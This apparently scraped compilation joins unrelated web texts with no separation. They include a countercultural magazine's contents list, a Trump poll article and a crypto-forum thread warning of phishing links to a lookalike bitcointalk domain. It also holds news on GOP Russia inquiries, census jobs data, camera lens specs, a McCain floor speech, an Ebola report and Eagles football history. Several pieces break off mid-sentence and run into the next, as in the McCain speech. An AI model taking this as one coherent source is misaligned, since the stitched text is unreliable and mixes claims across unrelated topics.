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Special Guest Editorial - William S. Burroughs
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Congressional Bill would Suspend Constitution
Pushing the Rollercoaster Reality Envelope - Louis M. Brill
Fiber in the Valley - Denise Caruso
Street Tech - Gareth Branwyn
PXL 2000 - Brian Goldberg
Durk and Sandy Explain it all to You - St. Jude
The War on Drugs and FIJA - Robert Anton Walson
Flow like a Dragonfly, See like a Bee: a Drug-Free Expansion of the Senses - Nick Herbert
Do G-men Dream of Electric Sheep? - R. U. Sirius & George Gleason
Civilizing the Electronic Frontier: an interview with Mitch Kapor & John Barlow of the Electronic Frontier Foundation - David Gans & R. U. Sirius
Synergy Speaks: Goodbye Banks, Goodbye Telephones, Goodbye Welfare Checks - Michael Synergy
Freaked by Phrack: an interview with Craig Neidorf - John Perry Barlow
A Message to You From Legion of Doom Member "The Mentor"
On the Road to Chaos in East Berlin - Morgan Russell
The Worlds Oldest Secret Conspiracy: Fronted by Steve Jackson Games, Inc. - Gareth Branwyn
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Phreaks R Us: an interview w/ Hacker Publishers Emmanuel Goldstein of 2600 & Rop Gonggrijp of Hack-Tic - R. U. Sirius & George Gleason
Deborah Harry: 21st Century Girl - Tresca Behling, R. U. Sirius & St. Jude
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Cybernetic Jewelery - Wearable Microsystems - Vernon Reed
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Covert Design & Holographic Clothing: a look at the 21st Century Fashion - Mark Heley
Plastic People - R. U. Sirius & in conversation with Dr. Forshan
Future Food as conceived - Erez with Joshua Ets-Hokin
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Frank Zappa for President
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House Music: the Best Techno-Shamanic Cultural Virus so far - Mark Heley
Tune In, Turn on the Acid House with Psychic TV - Philip H. Farber with Djenaba
Muzak: the Concept of Manipulation through Music - Genesis P. Orridge
Deee-Lite: Like Tapping into the Soul of a Deep Program - St. Jude
The Primal Venting of Buttheads: a Post Punk Dialectic - Antonio Lopez
Butthole Hacker: We Talk to Gibby, Mostly about his Computer Graphics - Bart Nagel & R. U. Sirius
Taking Toys from the Boys: an interview with Rebecca Allen - Jas. Morgan
SIGGRAPH Gallery: the Wizards of Light & Motion Collected - Jas. Morgan & Christopher Case
Chaos & Catastrophe: an interview w/ Ralph Abraham - Rebecca McClen & David Jay Brown
Quantum Randiness: Mathematica Author Stephen Wolfram & Physics Genius Saul-Paul Sirag in conversation - Jas. Morgan & Efrem Lipkin assisted by John Zaitz, George Gleason & Jeff Mark
Drugs for Sex: Real Aphrodisiacs - Leila Mellow-Whipkit
A Word (or Two) on Aphrodisiacs from Dr. Ward Dean interviews - John Morgenthaler
Attitude: File Under "Bad" - John Shirley
Greatest Hist from Timothy Leary's Greatest Hists - R. U. Sirius
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MONDOzines - Mike Gunderlow
Sim City, A Cybernetic Playground
Cracking Mac Software for Fun and Profit: Words from an ExpertMore than seven in 10 voters say Donald Trump is not a role model for children, according to a poll conducted in the days after Republican Sen. Kelly Ayotte of New Hampshire said she “absolutely” thought the mogul deserved the label, only to walk it back.
Only 17 percent of voters told the Politico/Morning Consult survey that Mr. Trump, the Republican nominee for president, is a role model, compared to 72 percent who said he wasn’t.
The mogul couldn’t even win over his supporters, the pollsters said: Only 37 percent of them said he is a role model, while more than half — 51 percent — said he is not.
The “role model” question underscores the tightrope that vulnerable Senate Republicans are walking this cycle, as the GOP tries to defend its 54-46 majority.
The candidates are fearful of alienating independents and Republicans who chafe at Mr. Trump’s more strident positions and comments, yet they can’t afford to turn off the mogul’s passionate supporters, either.
Ms. Ayotte, in a debate on Monday, first said that Mr. Trump “absolutely” was a role model, then tried to take it back in a statement after her showdown with Gov. Maggie Hassan, a Democrat who is virtually tied with the incumbent.
“I misspoke tonight. While I would hope all of our children would aspire to be president, neither Donald Trump nor Hillary Clinton have set a good example, and I wouldn’t hold up either of them as role models for my kids,” Ms. Ayotte said.
Indeed, the new poll found that more than half of voters —54 percent — don’t think Mrs. Clinton is a role model, either, compared to 35 percent who say the Democratic nominee deserves the label.
Still, the Hassan camp swiftly crafted a campaign ad that juxtaposes Ms. Ayotte’s debate response with Mr. Trump’s bombastic comments, from mocking Mrs. Clinton’s bout with pneumonia at a 9/11 event in New York to criticizing a Miss Universe winner who gained weight after the competition.
“And that was just this week,” the ad says.
President Obama had a better showing than either nominee in the poll released Friday, though still less than half — 49 percent — said he is a role model, while 42 percent said he is not.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.lordoliver
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expect(brain).toHaveBeenUsed()
LegendaryActivity: 1512Merit: 1017expect(brain).toHaveBeenUsed() Re: NEM Official Thread - Crowdsale has begun[Updates & Discussion] September 14, 2014, 12:07:24 PM #4801 Quote from: kodtycoon on September 14, 2014, 11:54:58 AM Quote from: Bob81 on September 14, 2014, 11:37:20 AM
How can we prevent such pishing-attempts?
What can we do in case someone has already stolen our password?
Is it sufficient to change our password?
Any recommendation?
Now I'm afraid of every message I received the last days.How can we prevent such pishing-attempts?What can we do in case someone has already stolen our password?Is it sufficient to change our password?Any recommendation?
no need to panic.. just dont click any links from users who you do not recognise and make sure that if you do get a message that it is from who it is supposed to be.. like if its the newsletter make sure it is me and not kodycoon or something... profile rank is a good indicator..
changing you password should be ok.. if you have clicked any suspicious links and you are concerned that your account has been breached just send patmast3r a message to confirm that your stake has not attempted to be claimed.
if there is not a link in the message.. everything is fine.. no need to worry.. if there is.. double check everything and everything will be fine.. just dont enter your login details anywhere unless its just btt you are logging into.
no need to panic.. just dont click any links from users who you do not recognise and make sure that if you do get a message that it is from who it is supposed to be.. like if its the newsletter make sure it is me and not kodycoon or something... profile rank is a good indicator..changing you password should be ok.. if you have clicked any suspicious links and you are concerned that your account has been breached just send patmast3r a message to confirm that your stake has not attempted to be claimed.if there is not a link in the message.. everything is fine.. no need to worry.. if there is.. double check everything and everything will be fine.. just dont enter your login details anywhere unless its just btt you are logging into.
Wouldn't it be better to convert all accounts to assets, not only on demand? This way there are then at least no attacks on the forum accounts any more... Wouldn't it be better to convert all accounts to assets, not only on demand? This way there are then at least no attacks on the forum accounts any more...
Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins
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13Darko
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Hero MemberActivity: 620Merit: 507 Re: NEM Official Thread - Crowdsale has begun[Updates & Discussion] September 14, 2014, 12:18:23 PM #4802 Zahlen (seems hacked) with "Important news about NEM Open Alpha" which really looks like leading to bitcointalk though:
1. the site was unsecure (not http s ://);
2. bi l cointalk.org (not bi t cointalk.org).
damn scamers I was also PMd a phishing link from(seems hacked) with "Important news about NEM Open Alpha" which really looks like leading to bitcointalk though:1. the site was unsecure (not http://);2. bicointalk.org (not bicointalk.org).damn scamers
abstraktalias
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NewbieActivity: 40Merit: 0 Re: NEM Official Thread - Crowdsale has begun[Updates & Discussion] September 14, 2014, 01:24:16 PM #4805 Can someone help me please. I'm not super tech savvy.
I've trying to access my NXT wallet for a couple of weeks to no avail. Before logging into my account I get the following message...
A new version of the Nxt client is available (1.2.6). Would you like to update?
When I click OK, I get this message. The hash of the downloaded update does not equal the one supplied by the blockchain. Aborting update.
Then if I log in it just downloads the block chain for hours without me being able to do anything within the wallet.
Anyone else having this problem? Thanks in advance for any help.
13Darko
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Hero MemberActivity: 620Merit: 507 Re: NEM Official Thread - Crowdsale has begun[Updates & Discussion] September 14, 2014, 01:46:55 PM #4808 Quote from: abstraktalias on September 14, 2014, 01:24:16 PM Can someone help me please. I'm not super tech savvy.
I've trying to access my NXT wallet for a couple of weeks to no avail. Before logging into my account I get the following message...
A new version of the Nxt client is available (1.2.6). Would you like to update?
When I click OK, I get this message. The hash of the downloaded update does not equal the one supplied by the blockchain. Aborting update.
Then if I log in it just downloads the block chain for hours without me being able to do anything within the wallet.
Anyone else having this problem? Thanks in advance for any help.
I had the same problem before I completely uninstalled the wallet and installed a newer version I had the same problem before I completely uninstalled the wallet and installed a newer version
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Iota and JINN
Sr. MemberActivity: 382Merit: 250Iota and JINN Re: NEM Official Thread - Crowdsale has begun[Updates & Discussion] September 14, 2014, 03:05:15 PM #4811 new peace of shit was bringing by PM of ''mangdd''
same shit ''Hi! Important news about NEM Open Alpha
ht://bilcointalk.org/index.php?topic=654845.msg7515541#msg7515541''
BE VERY CAREFUL!
www.iotatoken.com https://twitter.com/iotatoken
Iota is a brand new and novel micro-transaction cryptotoken optimized for the Internet-of-Things (IoT). Unlike the complex and heavy blockchains of Bitcoin and the like, which were designed with other uses in mind, Iota is created to be as lightweight as possible, hence the name "Iota" with emphasis on the IoT part. Iota is a brand new and novel micro-transaction cryptotoken optimized for the Internet-of-Things (IoT). Unlike the complex and heavy blockchains of Bitcoin and the like, which were designed with other uses in mind, Iota is created to be as lightweight as possible, hence the name "Iota" with emphasis on the IoT part.Three congressional committees and the FBI have already launched inquiries into Russian interference in last year’s election and possible collusion by the Trump campaign. But a string of damaging reports this week has prompted a distinct shift in tone among Republicans who had brushed aside the seriousness of earlier allegations involving the president. Representative Jason Chaffetz of Utah, the chairman of the House Oversight Committee, immediately wrote to the FBI demanding copies of Comey’s memos and threatened to subpoena them if necessary. Ryan backed the move, which ostensibly opened a fourth congressional probe into Trump’s activities by a chairman who had previously shown little interest in confronting the White House and had announced plans to retire from the House. Chaffetz said on Twitter he had scheduled a hearing for May 24, although he had yet to confirm that Comey would appear.
On Wednesday, the Republican and Democratic leaders of the Senate Intelligence Committee sent Comey a new invitation to testify both in an open hearing and a classified session, and they wrote to acting FBI Director Andrew McCabe seeking copies of the same Comey notes and memos as Chaffetz. Later in the afternoon, the Senate Judiciary Committee made an even broader request, seeking memos from the Justice Department dating back to the Obama administration as well as records from the White House documenting Trump’s conversations with Comey. Senators also sought any “audio recordings” that may have been made, an allusion to the president’s mention of a possible taping system at the White House.
The GOP’s changing attitude toward the Russia investigation was evident in other ways. A number of House Republicans indicated they would support calls from Democrats for a special prosecutor or an independent investigatory commission, and one frequent GOP Trump critic, Representative Justin Amash of Michigan, told reporters that if Comey’s allegation against the president were true, it would warrant impeachment. When the House gaveled into session, Democratic Representative Al Green of Texas delivered a speech calling for Trump’s impeachment on charges of obstruction of justice.
Ryan, however, preached patience and caution. He said he would not prejudge the investigation, but at the same time he echoed other Republicans in questioning why Comey did not “take action” immediately after Trump asked him to shut down the Flynn investigation. “So there are a lot of unanswered questions,” he said. “Our job is to be responsible, sober, and focus only on gathering the facts. That is what Congress does in conducting oversight of the executive branch.”
To be sure, Republican leaders have not made a complete reversal on the Russia allegations, nor have they turned on Trump. When Ryan was asked on Wednesday whether he still had confidence in Trump, he replied, “I do.” Neither Ryan nor Senate Majority Leader Mitch McConnell are backing calls for an independent investigation or a special prosecutor. Republicans in the House and Senate have gamely tried to highlight their focus on legislative priorities—tax reform and health care, respectively—even as talk of scandal swirls around the White House and the Capitol. “We’re going to walk and chew gum at the same time,” Ryan vowed. “We’re going to keep doing our jobs. We’re going to keep passing our bills. We’re going to keep advancing our reforms that we were elected to advance while we are doing all these other things that are within our responsibility and that’s what we will be judged [by] in 2018.”
But the speaker on Wednesday was not the same smiling, steely defender of the “unconventional” Trump he has been since November, a recognition perhaps that his party’s steadfast support for the president had begun to fray.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.BHOPAL: First the lecturers and professors, then the students. Teachers in the Sarojini Naidu College here in the Madhya Pradesh capital have been instructed not to wear jeans, T-shirts or salwar-kameez suits during their duty hours. A circular has been pinned on the college notice board that forbids women teachers from wearing anything else other than sarees.“Yes, it is now compulsory for us to wear sarees to work,” a professor in the college said on grounds of anonymity. “But the trouble didn't start with us. This imposition has been made on us because the next step would be to ban jeans for students.”To discipline students into wearing proper clothes, teachers have been made the initial targets. If women teachers have to drape a saree every morning, male teachers will also have to change their attire to a more formal pair of trousers and proper shirts. Sources in the college said that male teachers had been instructed not to wear anything casual including T-shirts, jeans and sports clothes.According to the professor, the administration is peeved not with teachers but more with students. ``This is a girls college and our students have started wearing low-waist jeans with spaghetti strap tops. When they sit, the jeans go even lower. It may be fashion for young girls to wear these clothes. However, for the faculty including some male professors, it becomes distasteful to see our students have little respect for teachers and the college, our source explained.“In Bhopal, college teaching staff generally do not wear casual clothes to work. Women teachers don’t wear jeans. They wear salwar-kameez which will no longer be permitted in Sarojini Naidu College.”Speaking to reporters, Deepika Niroliya president of the college Public Participation Committee explained: “Some of the teachers had started wearing casual clothes to college. Wearing salwar-kameez, teachers looked so young that it was difficult to distinguish between students and the faculty. A dress code signifies discipline. From the next semester, students will be made to follow a dress code.”CLOSE Many sectors that show job gains in new Census Bureau data shrank or lagged across much of Central New York. JOHN R. ROBY
New census data show many counties lag in the top employment sectors
Job candidates (Photo: BartekSzewczyk, Getty Images/iStockphoto)
The Watchdog File is a weekly column investigating the data, officials and institutions that shape life in New York state. Follow @watchdog_file on Twitter, and send tips to jroby@gannett.com.
♦
Want to work in upstate New York? If your dream job is in health care, retail, lodging, technology or manufacturing, you've got a decent chance — at least in some places.
New data show jobs in some of the sectors with the most workers upstate grew by double-digit percentages so far this decade. But those same sectors shrank or lagged across much of central New York.
The U.S. Census Bureau's new County Business Patterns data show that between 2011 and 2015, counties outside New York City added nearly 12 percent to their work forces in the accommodation and food service sectors, and nearly 11 percent in the professional, scientific and technical services sectors.
Those sectors, along with health care, retail and manufacturing, made up the five broad industries that employed the most upstate New Yorkers in 2015. That's the last year for which data are available, released by the Census Bureau in April.
Together, the private businesses that fall into those sectors employed more than 2.4 million in 2015, or 30 percent of the state's private-sector work force. All five sectors showed total gains in employees.
For Broome, Tioga, Chemung and Tompkins counties, the situation is different.
Broome County's largest sector, health care and social assistance, lost 1 percent of employment between 2011 and 2015. That brought the total number employed in the sector down to 15,114. Retail grew by just over 1 percent, behind the upstate average of over 3 percent. Manufacturing tumbled 13 percent, with 7,382 on payrolls in 2015.
Yet the county added about 1,200 jobs in the administrative and support sector — which includes businesses ranging from travel agencies and telemarketers to collection agencies and temp companies — for a 30 percent gain.
Tioga showed a nearly 6 percent gain in retail, its largest sector, bringing total employment to 1,311. The other top four sectors — manufacturing, health care, accommodation and food service, and wholesale trade, all declined, by as much as a quarter of total employment.
In Chemung, the top four sectors in total employment — health care, manufacturing, retail and accommodation and food service — all declined from 2011 to 2015. Employment in those sectors fell from 21,455 to 20,741. The wholesale trade sector grew its work force from 1,309 in 2011 to 1,376 in 2015.
The health care sector in Tompkins County added 9 percent employment, totaling 5,709 in 2015, making it the largest in the county. Retail, manufacturing, and the professional, scientific and technical services sector all declined.
The Census Bureau's county business patterns data collect information on total employees, payroll and total establishments down to the ZIP code level. It counts private businesses with more than one employee, and excludes the self-employed, employees of private households, railroad employees, agriculture production workers and most government employees.
The data let you compare economic activity from statewide to small areas. Businesses can use them for market analysis, and government agencies can use them for planning.
The numbers show parts of New York are among the national leaders in adding jobs and payroll. Those areas tend to be downstate.
When New York City is included in the 2015 data, the state ranked third in the nation — behind California and Texas — in total establishments (540,298), total employees (8 million) and annual payroll ($513 billion). New York County, or Manhattan, had the highest total payroll of all U.S. counties, at $239.3 billion. It ranked third among counties in total establishments (105,444) and employees (2.2 million).
According to the Census Bureau data, though, many upstate counties lost total employees on a payroll — at least those with the private-sector industries that are tallied by the County Business Patterns measure. Broome County's total employment fell a bit less than half of 1 percent, to 71,263. In Chemung, the decline was over 5 percent, to 31,597. Tompkins was a bright spot, with total employment growing nearly 9 percent, to 49,525.
BY THE NUMBERS
Total employment in the five largest sectors statewide outside New York City, 2011 and 2015, and percentage change.
Health care and social assistance — 756,984 — 790,605 — +4.4%
Retail trade — 580,474 — 599,451 — +3.3%
Accommodation and food service — 360,504 — 402,694 — +11.7%
Manufacturing — 352,030 — 354,868 — +0.8%
Professional, scientific, technical — 238,143 — 264,174 — +10.9%
Total employment in the five largest sectors for Broome County, 2011 and 2015, and percentage change.
Health care and social assistance — 15,267 — 15,114 — -1.0%
Retail trade — 11,369 — 11,502 — +1.2%
Accommodation and food service — 8,019 — 8,325 — +3.8%
Manufacturing — 8,501 — 7,382 — -13.2%
Administrative and support — 3,765 — 4,926 — +30.1%
Total employment in the five largest sectors for Tioga County, 2011 and 2015, and percentage change.
Retail trade — 1,239 — 1,311 — +5.8%
Manufacturing — 1,237 — 1,119 — -9.5%
Health care and social assistance — 1,476 — 1,114 — -24.5%
Accommodation and food service — 941 — 895 — -4.9%
Wholesale trade — 610 — 533 — -12.6%
Total employment in the five largest sectors for Tompkins County, 2011 and 2015, and percentage change.
Health care and social assistance — 5,223 — 5,709 — +9.3%
Retail trade — 5,058 — 4,922 — -2.7%
Accommodation and food service — 4,405 — 4,556 — +3.4%
Manufacturing — 2,736 — 2,600 — -4.9%
Professional, scientific, technical — 2,562 — 2,239 — -12.6%
Total employment in the five largest sectors for Chemung County, 2011 and 2015, and percentage change.
Health care and social assistance — 6,814 — 6,613 — -2.9%
Manufacturing — 5,893 — 5,576 — -5.4%
Retail trade — 5,289 — 5,288 — -0.1%
Accommodation and food service — 3,459 — 3,264 — -5.6%
Wholesale trade — 1,309 — 1,376 — +5.1%
Source: U.S. Census Bureau County Business Patterns.
Read or Share this story: http://press.sn/2qe7H82Last year I already reported on the upcoming Yongnuo YN 100mm f/2 full frame DSLR lens for Nikon F-mount (above right). Yongnuo also has a new pancake 40mm f/2.8 lens coming soon (above left). Here are the details on both new lenses - for pricing check B&H and Amazon (not available at the time of this post):
Update: the lens is now in stock for $87.98 at Amazon and B&H.
Yongnuo YN 40mm f/2.8N lens
Specifications:
Focal Length 40mm Structure 4 groups 6pcs Aperture Blades 6pcs Minimum Aperture F/22 Minimum Focal Distance About 0.3m Maximum Amplification Factor About 0.18x Driving System DC Motor Filter Diameter 58mm Maximum Diameter and Length Aboutφ74×45mm Weight About 130g
Features:
Finishing Aspheric Lens: YN40mm F2.8N carries finishing aspheric lens, which effectively compensate various aberration.
YN40mm F2.8N carries finishing aspheric lens, which effectively compensate various aberration. Firmware Upgrade: YN40mm F2.8N has USB port.To maintain maximum compatibility and performance, the firmware of the lens can be updated. Please download the latest firmware from the offical YONGNUO website.
YN40mm F2.8N has USB port.To maintain maximum compatibility and performance, the firmware of the lens can be updated. Please download the latest firmware from the offical YONGNUO website. F2.8 Large Aperture: F2.8 bright and large aperture helps to blur out the background and highlight the subject.
F2.8 bright and large aperture helps to blur out the background and highlight the subject. Two Focus Modes Supported: Auto Focus (AF) and Manual Focus (MF): YN40mm F2.8N supports auto focus and manual focus. You can choose focus mode according to the practical shooting needs.
YN40mm F2.8N supports auto focus and manual focus. You can choose focus mode according to the practical shooting needs. 6pcs of Aperture Blades: With 6pcs of Aperture blades, YN40mm F2.8N helps making rounded defocused spots, or stops down to make effect of 12 stars.
With 6pcs of Aperture blades, YN40mm F2.8N helps making rounded defocused spots, or stops down to make effect of 12 stars. Durable Metal Mount: YN40mm F2.8N adopts chrome plated and high-precision metal mount, which is consistent with the camera. The mount is wearable, corrosion-resistantand durable.
YN40mm F2.8N adopts chrome plated and high-precision metal mount, which is consistent with the camera. The mount is wearable, corrosion-resistantand durable. Equipped with Focus Distance Indicator: YN40mm F2.8N is equipped with focus distance indicator. It’s convenient for you to judge distances and the depth of field.
YN40mm F2.8N is equipped with focus distance indicator. It’s convenient for you to judge distances and the depth of field. Various Shooting Modes Supported: YN40mm F2.8N supports various shooting modes. The aperture and other information can be found from EXIF.
YN40mm F2.8N supports various shooting modes. The aperture and other information can be found from EXIF. Glass Optical Lens, Multilayer Coating: All series of products adopt glass optical lens and multilayer coating, which effectively helps to increase the light transmittance and inhibit backlight and glare.
All series of products adopt glass optical lens and multilayer coating, which effectively helps to increase the light transmittance and inhibit backlight and glare. Gold-plating Technology: YN40mm F2.8N adopts gold-plating metal contacts to effectively increase signal conductivity and corrosion resistance.
MTF chart:
Lens design:
Yongnuo YN 100mm f/2N lens
Specifications:
Focal Length 100mm The equivalent focal length under 35mm APS-C format specifications About 160mm Structure 6 groups 8pcs Aperture Blades 9pcs Minimum Aperture F/19 Minimum Focal Distance About 0.9m Maximum Amplification Factor About 0.14x Driving System DC Motor Filter Diameter 58mm Maximum Diameter and Length Aboutφ76×83mm Weight About 440g
Features:BleedBlueKentucky.com is reporting that 4-star Ohio receiver Monty Madaris has decided to visit the University of Kentucky this weekend.
With Kentucky recently losing out on 4-star running back Imani Cross to Nebraska, a commit from Madaris (at a position that has frustrated the coaching staff and the fans this past season) would definitely be a shot in the arm for Joker Phillips' 2012 recruiting class.
Madaris is ranked as the No. 36 wide receiver prospect in the country by ESPN.com. He is thought to be leaning toward Michigan State (who has officially offered him), but he also currently holds offers from Kentucky, Cincinnati, Connecticut, Florida State, Indiana, Louisville and Illinois.
With the recent late push for Cross and now Madaris, it is clear that this staff has no qualms about making a late push in the recruiting process for skill position players. Kentucky fans hope the staff is going after them because they truly believe that they can be convinced to become Wildcats...and not out of desperation.
With National Signing Day coming up on Wednesday, February 1, there should be quite a bit of movement and surprises over the next few days.The first Yo-kai Watch game is heading to North America next month. But of course, Japan already received the sequel long ago, which is actually comprised of three different versions.
Level-5 is now thinking about how to approach Yo-kai Watch 2’s western release. Speaking with Nintendo World Report at the New York Comic-Con, chief operating officer Yukari Hayakawa said:
“One is called Ganzo, Honke, and Shinuchi so there’s actually three titles and we are still kind of, we haven’t made the decision on which one to release in the U.S., whether it’s all three or just one, whether it’s all physical or digital.”
Hayakawa also said that amiibo support for the Yo-kai Watch series is a possibility.
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PocketU.S. Sen. John McCain (R-Ariz.) took to the Senate floor Dec. 16 to blast the Senate Appropriations Committee for eliminating restrictions Congress imposed last year on the Pentagon’s use of Russian-built RD-180 rocket engines.
United Launch Alliance, whose workhorse Atlas 5 rocket is powered by the RD-180, cited the ban among its reasons for not bidding last month on a contract to launch a GPS-3 satellite for the U.S. Air Force.
McCain, who is chairman of the Senate Armed Services Committee, said the RD-180 provisions appropriators included in a must-pass omnibus spending bill released overnight violates Senate protocol and represents “a direct dismembering” of the 2016 National Defense Authorization Act, which provided more-limited relief from the RD-180 ban.
Below are his prepared remarks:
I rise to call attention to the triumph of pork barrel parochialism in this year’s Omnibus Appropriations Bill—in particular, a policy provision that was airdropped into this bill, in direct contravention to the National Defense Authorization Act, which will have U.S. taxpayers subsidize Russian aggression and “comrade capitalism.”
Nearly two years ago, Russian President Vladimir Putin, furious that the Ukrainian people had ousted a pro-Moscow stooge, invaded Ukraine and annexed Crimea. It was the first time since the days of Hitler and Stalin that brute force had been projected across an internationally-recognized border to dismember a sovereign state on the European continent. More than 8,000 people have died in this conflict, including 298 innocent people aboard Malaysian Airlines Flight 17, who were murdered by Vladimir Putin’s loyal supporters with weapons he supplied them.
Putin’s imperialist campaign in Eastern Europe forced a recognition, for anyone who was not yet convinced, that we are confronting a challenge that many had assumed was resigned to the history books: a strong, militarily-capable Russian government that is hostile to our interests and our values, and seeks to challenge the international order that American leaders of both parties have sought to maintain since the end of World War II.
That’s why the Congress imposed tough sanctions against Russia, especially against Putin’s cronies and their enormous, and enormously corrupt, business empire. As part of that effort, Congress passed the Fiscal Year 2015 National Defense Authorization Act (NDAA), which restricted the Air Force from using Russian-made RD-180 rocket engines for national security space launches — engines that are manufactured by a Russian company controlled by some of Putin’s top cronies. We did so not only because our nation should |
to shrink. People simply have less money to spend on items that are becoming more expensive.
The social implications of Ebola are equally as damaging. With schools closed since the crisis began, children face at least a year of academic set-backs which will impact the future workforce and brain trust; expectant mothers are dying at alarming rates in childbirth due to fear and failed healthcare systems, and 80% of people living with HIV have not been able to access their management treatments.
“Getting ahead of this crisis is so important,” Mr. McLachlan-Karr said. “We’re committed to not just arresting the reversal of development gains, but to turning the tide against it.”
The study advises policy recommendations for addressing the Ebola crisis with a mind to protecting the most vulnerable. It looks at the value of lockdowns, like the one implemented in September 2014 and seen as a largely successful intervention at the time. While a 21-day lockdown could isolate and assuredly strangle the spread of the virus, it will surely place a significant burden on Sierra Leone’s poorest and most vulnerable.
Some of the other findings in the report include:
Increased financial instability: borrowers are falling short on loan repayments, which has caused banks to limit new loans and a tightening of financial ranks.
The suspension of commercial flights by all but two airlines has not only impacted tourism and the movement of people, but has also limited the amount of foreign cash in the coffers.
The heath sector has all but ceased to operate for non-Ebola cases. Many healthcare workers, who are the most at risk for contracting the Ebola virus, have stopped reporting to work forcing clinics and hospitals to close; meanwhile, patients suffering from non-Ebola conditions are avoiding any professional health care putting them at risk of harm and even death from common preventable disease.
Gender-based violence is significantly on the rise and women are particularly at risk.
Findings from the study will be used by the Ministry of Finance and Economic Development to inform the budget development for 2015. It will also inform UN agencies and other development actors as to how non-direct Ebola programming can have a great impact on the future of Sierra Leone as it navigates through this devastating crisis.
UNDP is at the forefront of the fight against Ebola, mobilizing communities against the disease, helping people recover from the crisis and assisting governments to continue to provide basic services, and to develop Ebola impact assessments and recovery plans.
For more information, please visit www.undp.org/ebola
UNDP partners with people at all levels of society to help build nations that can withstand crisis, and drive and sustain the kind of growth that improves the quality of life for everyone. On the ground in more than 170 countries and territories, we offer global perspective and local insight to help empower lives and build resilient nations.
Stay with Sierra Express Media, for your trusted place in news!
© 2014, sierraexpressmedia.com. All rights reserved.It is always odd to see a player who was an icon for one team in another team's uniform, from Johnny Unitas as a Charger to Brett Favre as a Viking, there always player/team combos that just don't sit right. Eagles fans are no stranger to this feeling. Reggie White's first game as a Packer was at home against the Eagles, and in 1997 he made his only return trip to Philly, but by then we were used to it. We were spared seeing him in a Panthers jersey in 2000. The sight of Randall Cunningham in a Cowboys jersey is the stuff of nightmares for those of us who grew up watching him. Recent years have given a new generation of fans those same feelings, and Sunday they will be revisited when LeSean McCoy comes to town with the Buffalo Bills.
The table was set for Terrell Owens to be a hero in Philadelphia. For one shining season he was, and then it predictably all fell apart. After years of stubbornly refusing to add a legitimate top wide receiver, Andy Reid and the Eagles brought out the big guns when they acquired Owens after the 2003 season. The results were spectacular. With an actual threat on the outside and deep to work with, Donovan McNabb had the best season of his career and the Eagles strolled to another division title and top seed in the NFC. Owens heroically returned from a devastating broken ankle suffered late in the season to catch 9 passes for 122 yards in the Super Bowl. He had Philadelphia in his hands, and then he threw it all away. He complained about his contract a year after signing it, and returned to the petulant ways that made him unwanted in San Fransisco and available to the Eagles in the first place. After he was suspended to end the 2005 season, he was released and signed with, of all teams, the Dallas Cowboys.
In Week 4 of the 2006 season he returned to Philly and was given a venomous reaction by the fans. TO laughed it up, but it was the Eagles who had the last laugh. Visibly upset with not catching a pass in the first half, Owens was held to just 45 yards on 3 catches for the game, while Hank Baskett caught 3 passes for 112 yards and a touchdown, Reggie Brown had 4 for 79 yards and a TD and Donovan McNabb threw for 354 yards. With the Cowboys in position to tie the game in the final minute, Lito Sheppard returned a Drew Bledsoe pass 102 yards for a touchdown, sealing victory in another chapter of the Eagles-Cowboys rivalry.
When his contract was up after the 2008 season, Brian Dawkins was already an Eagles legend. When the Eagles lowballed him a contract offer and he instead signed with the Denver Broncos, fans were understandably upset. They were upset that a franchise icon was allowed to walk away for nothing. They were upset that the team, long considered cheap by fans, lowballed him. And they were upset and remained upset that there wasn't anyone waiting in the wings to fill the void.
In his first year with the Broncos, Dawkins returned to Philly in December in a game with playoff implications for both teams. The Broncos were 8-6 and in the thick of a fight for wild card spot. The Eagles were 10-4, a game up on the Cowboys. The atmosphere was going to be electric regardless of who the opponent was. When Dawkins was introduced, the Linc went absolutely and deservedly nuts.
In the game, the Eagles got out to a 10-0 lead and led 20-7 at halftime before Denver stormed back to tie it at 27 all with 6 minutes to play. Dawkins recorded a game-leading seven tackles, but Weapon X's efforts weren't enough as the Eagles kicked a game-winning field goal with seconds to spare, bookending the game with jubilation by Eagles fans.
Donovan McNabb
You either die a hero or live long enough to see yourself become the villain. Donovan McNabb, one of the most polarizing Philadelphia athletes, lived too long.
A year after letting Brian Dawkins walk, Andy Reid let another icon go, trading Donovan McNabb to the Redskins. Even the biggest McNabb fans had to wince. In Week 4 of the 2010 season, McNabb returned to the Linc and already things were backfiring. The trading of McNabb kickstarted the Kevin Kolb, era, but Kolb was injured in the first game of the season and Michael Vick took over as the starter.
With the national media stereotypically speculating that fans would boo him, McNabb entered the field to a chorus of cheers. Then both he and the Eagles gave no one anything to cheer about. Vick was injured in the first quarter and Kolb took over, and the Eagles mustered only 12 points. McNabb was intercepted by Nate Allen, who the Eagles selected in the draft with the pick acquired in the trade with Washington. Despite a lackluster performance that saw him go 8-19 for 125 yards the Redskins prevailed 17-12.
Andy Reid
It ended poorly, but for the majority of Andy Reid's time in Philly the Eagles were a very good team. When he returned in Week 3 of the 2013 season, fans didn't forget all the good times. Reid, who led the Eagles to their second Super Bowl appearance and an additional four NFC Championship Games, who won more than twice as many regular season games as any other coach in Eagles history, he got the standing ovation he deserved when introduced before the game.
And then at the end, like he had done so many times before, he walked off Lincoln Financial Field a winner, 26-16. The Eagles turned the ball over 5 times, and proving that old dogs can learn new tricks, the Chiefs ran 11 times and passed only 7 times in the last 11:31 of the game before taking three kneel downs. Finally Eagles fans got to see Andy run the ball at the end of the game, they just didn't like the result.
He might be the last on this list but DeSean Jackson isn't first or even second talented wide receiver the Eagles released for reasons other than his play. Before there was Jackson there was Terrell Owens, and before Owens there was Cris Carter. Nor was he the first to join the Redskins. But he was the first to play against the Eagles and have everyone leave happy.
In Week 3 of the 2014 season, Jackson and the Redskins had a shootout with the Eagles. Jackson did his part, torching the Eagles secondary with five catches for 117 yards and a touchdown of 81 yards. He got physical with some players in a game that had a memorable brawl, and the Eagles won 37-34. That salient detail may have been lost on Jackson, who the day after the game posted a photo of his touchdown on Instagram with the hashtags #CashMoney and #0neOfone. He got his touchdown, the Eagles got the win, so everyone went home happy.
That won't happen on Sunday when LeSean McCoy plays the Eagles. Like everyone but TO he'll likely get a warm reaction, but he wants to win just as badly as anyone.As our most requested release platform, we are very pleased to announce we are now officially developing for the Wii U!
It was mid afternoon, I had just sat down with a couple of friends, oddly enough to play Mario Party, when I got the call. After a surreal conversation with someone at Nintendo, it was made official.
